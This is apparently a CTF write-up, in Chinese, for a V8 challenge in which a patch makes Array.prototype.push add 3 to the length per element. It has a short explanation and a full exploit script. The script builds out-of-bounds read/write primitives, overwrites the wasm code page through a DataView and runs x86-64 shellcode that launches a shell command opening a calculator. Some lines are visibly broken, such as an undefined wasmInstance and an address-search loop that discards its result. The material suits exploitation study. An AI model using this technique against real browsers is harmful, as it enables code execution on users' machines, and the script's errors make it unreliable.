diff文件
diff --git a/src/codegen/code-stub-assembler.cc b/src/codegen/code-stub-assembler.cc
index 16fd384..8bf435a 100644
--- a/src/codegen/code-stub-assembler.cc
+++ b/src/codegen/code-stub-assembler.cc
@@ -2888,7 +2888,7 @@ TNode<Smi> CodeStubAssembler::BuildAppendJSArray(ElementsKind kind,
[&](TNode<Object> arg) {
TryStoreArrayElement(kind, &pre_bailout, elements, var_length.value(),
arg);
- Increment(&var_length);
+ Increment(&var_length, 3);//实际上var_length += 3
},
first);
{
TNode<Smi> BuildAppendJSArray(ElementsKind kind, TNode<JSArray> array,
CodeStubArguments* args,
TVariable<IntPtrT>* arg_index, Label* bailout);
TNode<Smi> CodeStubAssembler::BuildAppendJSArray(ElementsKind kind,
TNode<JSArray> array,
CodeStubArguments* args,
TVariable<IntPtrT>* arg_index,
Label* bailout) {
Comment("BuildAppendJSArray: ", ElementsKindToString(kind));
Label pre_bailout(this);
Label success(this);
TVARIABLE(Smi, var_tagged_length);
TVARIABLE(BInt, var_length, SmiToBInt(LoadFastJSArrayLength(array))); // var_length = array.length
TVARIABLE(FixedArrayBase, var_elements, LoadElements(array));
TNode<IntPtrT> first = arg_index->value();
TNode<BInt> growth = IntPtrToBInt(IntPtrSub(args->GetLength(), first));
PossiblyGrowElementsCapacity(kind, array, var_length.value(), &var_elements, growth, &pre_bailout);
CodeStubAssembler::VariableList push_vars({&var_length}, zone());
TNode<FixedArrayBase> elements = var_elements.value(); // 复制数组
// 执行push方法
args->ForEach(
push_vars,
[&](TNode<Object> arg) {
// 将 arg 存储到 elements 中
// 这里的 var_length.value() 是 index, arg 是 value
// 即 array[index] = value
TryStoreArrayElement(kind, &pre_bailout, elements, var_length.value(), arg);
// 这里每次将 var_length 加 3
// Increment(&var_length);
Increment(&var_length, 3);
},
first);
{
// 设置 length = var_length.value()
TNode<Smi> length = BIntToSmi(var_length.value());
var_tagged_length = length;
// 修改 array.length = var_length.value()
StoreObjectFieldNoWriteBarrier(array, JSArray::kLengthOffset, length);
Goto(&success);
}
BIND(&pre_bailout);
{
TNode<Smi> length = ParameterToTagged(var_length.value());
var_tagged_length = length;
TNode<Smi> diff = SmiSub(length, LoadFastJSArrayLength(array));
StoreObjectFieldNoWriteBarrier(array, JSArray::kLengthOffset, length);
*arg_index = IntPtrAdd(arg_index->value(), SmiUntag(diff));
Goto(bailout);
}
BIND(&success);
// 返回最后的数组大小 array.length
return var_tagged_length.value();
}
漏洞就出在+3上面正常push一次会导致数组的长度加3将会导致越界问题。
var a = [];
a[0] = 1.1;
a.push(1.1,1.1,1.1,1.1,1.1,1.1);
var b = new Array(1.1,2.2);
使用new将使得element元素在对象下方配合a数组的越界可以修改到b数组的长度属性。修改完b的长度属性接下来就是搜索wasmcode的地址以及使用dataview的任意写替换wasmcode完成利用。
脚本
function debug(o){
%DebugPrint(o);
%SystemBreak();
}
function hex(num){
return '0x' + num.toString(16);
}
function print(data){
console.log(data);
}
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);
function dtl(x)
{
d_buf[0] = x;
return l_buf[0];
}
function ltd(x)
{
l_buf[0] = x;
return d_buf[0];
}
function u64_l(val) {
dv.setFloat64(0,val,true);
return dv.getUint32(0,true);
}
function u64_h(val) {
dv.setFloat64(0,val,true);
return dv.getUint32(0x4,true);
}
var a = [];
a[0] = 1.1;
a.push(1.1,1.1,1.1,1.1,1.1,1.1);
var b = new Array(1.1,2.2);
var data = dtl(a[18]);
a[18] = ltd(data + 0xf000000000000n);
var buf = new ArrayBuffer(0x100);
var dv = new DataView(buf);
const wasm_code = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint8Array([0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var func = wasmInstance.exports.main;
var l;
var h;
var d= 0;
for (var i=0xff;i>=1;i-=1) {
d = b[0x31200+i];
l = u64_h(d);
d = b[0x31200+i+1];
h = u64_l(d);
if (parseInt(h) != 0 && parseInt(l) != 0 && parseInt(l & 0xFFF) == 0) {
print("fond!");
}
}
b[0x8] = ltd(BigInt(l >> 32));
b[0x9] = ltd(BigInt(h));
var adw = new DataView(buf);
debug(buf);
for (var i=0;i<shellcode.length;i++) {
adw.setUint32(i,shellcode[i], true);
}
func();